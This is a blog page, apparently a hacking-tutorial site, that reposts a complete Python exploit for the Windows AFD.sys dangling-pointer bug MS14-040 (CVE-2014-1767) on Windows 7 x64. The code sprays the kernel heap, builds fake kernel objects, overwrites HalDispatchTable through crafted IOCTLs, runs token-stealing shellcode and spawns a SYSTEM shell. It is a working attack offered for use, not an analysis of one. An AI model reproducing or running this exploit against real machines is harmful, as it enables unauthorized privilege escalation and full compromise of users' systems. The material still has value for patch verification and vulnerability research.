Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86395088

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-03-03
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 64 bit
# Tested on: Win7 x64
#        afd.sys - 6.1.7601.17514
#        ntdll.dll - 6.1.7601.17514 
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
#   http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
#   http://ricklarabee.blogspot.com/
#   https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
#   https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
#   http://www.cvedetails.com/cve/CVE-2014-1767/
#   https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/
#
# Greetz: PWN4GEPWN1E, SecurityMook


from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD
import platform

kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi

MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x40
Zerobits   = c_int(0)
RegionSize = c_ulonglong(0x1000)
written    = c_ulonglong(0)

FakeObjSize = 0x100

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1 

WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int
HalDispatchTable         = c_uint64   

class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]   

kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p,  c_ulonglong, POINTER(c_ulonglong)]        
ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong]

def find_driver_base(driver=None):
	#https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py
	
	if platform.architecture()[0] == '64bit':
		lpImageBase = (c_ulonglong * 1024)()
		lpcbNeeded = c_longlong()
		Psapi.GetDeviceDriverBaseNameA.argtypes = [c_longlong, POINTER(c_char), c_uint32]
	else:
		#if process_is_wow64():
		#	raise RuntimeError('python running in WOW64 is not supported')
		lpImageBase = (c_ulong * 1024)()
		lpcbNeeded = c_long()
	driver_name_size = c_long()
	driver_name_size.value = 48
	Psapi.EnumDeviceDrivers(byref(lpImageBase), c_int(1024), byref(lpcbNeeded))
	for base_addr in lpImageBase:
		driver_name = c_char_p('\x00' * driver_name_size.value)
		if base_addr:
			Psapi.GetDeviceDriverBaseNameA(base_addr, driver_name, driver_name_size.value)
			if driver == None and driver_name.value.lower().find("krnl") != -1:
				return (base_addr, driver_name.value)
			elif driver_name.value.lower() == driver:
				return (base_addr, driver_name.value)
	return None		

def get_haldispatchtable():
    #https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py

	if platform.architecture()[0] == '64bit':
		kernel32.LoadLibraryExA.restype = c_uint64
		kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)]
		kernel32.GetProcAddress.restype = c_uint64
	(krnlbase, kernelver) = find_driver_base()
	hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
	halDispatchTable = kernel32.GetProcAddress(hKernel, 'HalDispatchTable')
	halDispatchTable -= hKernel
	halDispatchTable += krnlbase
	return halDispatchTable

    
def CreateBuffer1(inbuf1addr):
    print "[+] Creating Buffer for IOCTL 0x1207F (afdTransmitFile) at: ", hex(inbuf1addr)
    inbuf1size = 0x40
    targetsize = 0x100
    virtualAddress = 0x13371337
    mdlsize = (pow(2, 0x0c) * (targetsize -0x30) / 8) - 0xfff - (virtualAddress & 0xfff) 

   
    inbuf1  = "\x41" * 0x20
    inbuf1 += struct.pack("Q", virtualAddress)    #0x1a
    inbuf1 += struct.pack("Q", mdlsize)
    inbuf1 += "\x42" * 4
    inbuf1 += "\x43" * 4
    inbuf1 += "\x01\x00\x00\x00"
    inbuf1 += "\x00\x00\x00\x00"
    inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
       
    baseadd    = c_ulonglong(0x1001)
    
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)

    wpmStatus = kernel32.WriteProcessMemory(-1, inbuf1addr, inbuf1, inbuf1size, byref(written))
    
def CreateBuffer2(inbuf2addr):
    print "[+] Creating Buffer for IOCTL 0x120C3 (afdTransmitPacket) at: ", hex(inbuf2addr)
    inbuf2size = 0x18
    addrforbuf2 = 0x0AAAAAAA
   
    inbuf2 = struct.pack("Q", 0x1)
    inbuf2 += struct.pack("Q", addrforbuf2)
    inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
       
    baseadd    = c_ulonglong(inbuf2addr+1)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE) 
    kernel32.WriteProcessMemory(-1, inbuf2addr, inbuf2, inbuf2size, byref(written))

def CreateFakeObject(firstWrite,fakeobjectaddr, setinfoworkerfactory):
    print "[+] Print creating fakeobject at ", hex(fakeobjectaddr)
    
    fakeobject2addr = setinfoworkerfactory - 0x18

    fakeobject2 = "\x00"*0x18 + struct.pack("Q", firstWrite)
    fakeobj2size = len(fakeobject2)
    kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))

    objhead = ("\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
               "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
               "\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x08\x00\x00\x00\x00\x00"
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

    fakeobject = objhead
    fakeobject += struct.pack("Q", fakeobject2addr) + "\x41"*96
    fakeobject += "\x42" * (FakeObjSize - len(fakeobject))
    kernel32.WriteProcessMemory(-1, fakeobjectaddr, fakeobject, FakeObjSize, byref(written))   

def main():
    print "[+] creating socket..."
    sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)

    if sock == -1:
        print "[-] no luck creating socket!"
        sys.exit(1)

    print "[+] got sock 0x%x" % sock

    addr = sockaddr_in()
    addr.sin_family = socket.AF_INET
    addr.sin_port = socket.htons(135)
    addr.sin_addr = socket.htonl(0x7f000001)

    connect(sock, byref(addr), sizeof(addr))

    print "[+] sock connected."
    print "[+] fill kernel heap"

    rgnarr = []
    nBottomRect = 0x02aaaaaa
    while(1):
        hrgn = windll.gdi32.CreateRoundRectRgn(0,0,1,nBottomRect,1,1)

        if hrgn == 0:
            break
        rgnarr.append(hrgn)
        print ".",


    print "\n[+] GO!"
    HalDispatchTable = get_haldispatchtable()
    print "[+] HalDispatchTable address:", hex(HalDispatchTable)
    # Win7 - x64 
    (halbase, dllname) = find_driver_base("hal.dll")
    OS = "7"
    if OS == "7":
        HaliQuerySystemInformation = halbase+0x398e8 # Offset for win7 x64
        _KPROCESS = "\x70"
        _TOKEN    = "\x08\x02"
        _UPID     = "\x80\x01"
        _APLINKS  = "\x88\x01"   

    print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)

    IoStatus = c_ulonglong()
    IoStatusBlock = c_ulonglong()

    addrSetInfoWorkerFactory = 0x2218
    firstWriteAddr  = HalDispatchTable + 0x8 - 0x2C
    secondWriteAddr = firstWriteAddr + 0x4
    thirdWriteAddr = firstWriteAddr + 0x1

    shellcode_address   = c_ulonglong
    shellcode_address   = 0x0000000000002500
    what_address        = 0x0000250800002500
    what_part1          = what_address & 0xfffffff
    what_part2          = what_address >> 32 & 0xfffffff

    inbuf1 = 0x1000
    inbuf2 = 0x2000
    hWF = c_ulonglong(0)
    FakeWorkerFactoryADDR = 0x2100

    CreateBuffer1(inbuf1)
    CreateBuffer2(inbuf2)
    CreateFakeObject(firstWriteAddr, FakeWorkerFactoryADDR, addrSetInfoWorkerFactory)
    print ""
    print ""
    print "[*] Trigger IOCTL 0x1207f (afdTransmitFile) to setup the memory "
    print "[*] structures for phase 2 and fil the freed space with a "
    print "[*] WorkerFactory Object"
    raw_input("[+] Press Enter to trigger phase 1")
    ntdll.ZwDeviceIoControlFile.argtypes = [c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, POINTER(c_ulonglong), 
                                            c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong]
    status = ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x1207f, inbuf1, 0x40, 0x0, 0x0)


    kernel32.CreateIoCompletionPort.argtypes = [c_ulonglong,c_ulonglong,c_ulonglong,c_ulonglong]
    CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0, 0, 0))

    ntdll.ZwCreateWorkerFactory.argtypes = [POINTER(c_ulonglong), c_ulonglong, c_ulonglong, c_void_p, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong]
    ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,0,CompletionPort,INVALID_HANDLE_VALUE,0,0,0,0,0)
    hWFaddr = hWF


    padding           = "\x90"*8
    HalDispatchTable0x8 = HalDispatchTable + 0x8

    sc_pointer = struct.pack("Q", shellcode_address+0x10)
    sc_pointer += struct.pack("Q", 0x25)   

    restore_ptrs =  "\x41\x51"                                                  +\
                    "\x41\x52"                                                  +\
                    "\x41\x53"                	                                +\
                    "\x49\xb9" + struct.pack("Q", HaliQuerySystemInformation)   +\
                    "\x49\xba" + struct.pack("Q", HalDispatchTable0x8)          +\
                    "\x4d\x89\x0a"
                    
    tokenstealing = "\x65\x4C\x8B\x0C\x25\x88\x01\x00\x00"      +\
                    "\x4D\x8B\x89" + _KPROCESS + "\x00\x00\x00" +\
                    "\x4D\x89\xCA"                              +\
                    "\x4D\x8B\x89" + _APLINKS + "\x00\x00"      +\
                    "\x49\x81\xE9" + _APLINKS + "\x00\x00"      +\
                    "\x49\x83\xB9" + _UPID + "\x00\x00\x04"     +\
                    "\x75\xe8"                                  +\
                    "\x4D\x8B\x89" + _TOKEN + "\x00\x00"        +\
                    "\x4D\x89\x8A" + _TOKEN + "\x00\x00"       

    fixobjheaders = "\x4d\x8b\x92\x00\x02\x00\x00" 	        +\
                    "\x4d\x89\xd1"             	            +\
                    "\x4d\x8b\x12"             	            +\
                    "\x41\xbb" + struct.pack("L", hWF.value)+\
                    "\x41\x83\xe3\xfc"                      +\
                    "\x4d\x01\xdb"                          +\
                    "\x4d\x01\xdb"                          +\
                    "\x4d\x01\xda"             	            +\
                    "\x49\xc7\x02\x00\x00\x00\x00" 	        +\
                    "\x49\x83\xc1\x58"          	        +\
                    "\x4d\x89\xca"             	            +\
                    "\x4d\x8b\x09"             	            +\
                    "\x49\x83\xe9\x01"                      +\
                    "\x4d\x89\x0a"             	            +\
                    "\x41\x5b"                              +\
                    "\x41\x5A"                              +\
                    "\x41\x59"                              +\
                    "\xc3" 
                   
    shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
    shellcode_size    = len(shellcode)

    print "\n\n[+] Writing Shellcode at address: ", hex(shellcode_address)

    kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))

    print "\n\n[*] Triggering IOCTL 0x120c3 (afdTransmitPackets) to free the"
    print "[*] WorkerFactory object created above and fill the freed object"
    print "[*] with a user controlled object to perform the necessary overwrites"
    raw_input("[+] Press Enter to trigger phase 2")

    ### Trigger 2
    ## afd!AfdTransmitPackets
    ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x120c3, inbuf2, 0x18, 0x0, 0x0)

    ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
    ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part1, 0x4) 
    kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", secondWriteAddr), 0x8, byref(written))
    ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) 
    kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", thirdWriteAddr), 0x8, byref(written))
    ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) ;

    inp  = c_long()
    out  = c_long()
    inp  = 0x1337
    qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
    print "[*] Spawning a SYSTEM shell..."
    os.system("cmd.exe /K cd c:\\windows\\system32")


if __name__ == "__main__":
    if platform.architecture()[0] == '64bit':
        main()
    else:
        print "Please use a 64 bit version of python"
        sys.exit()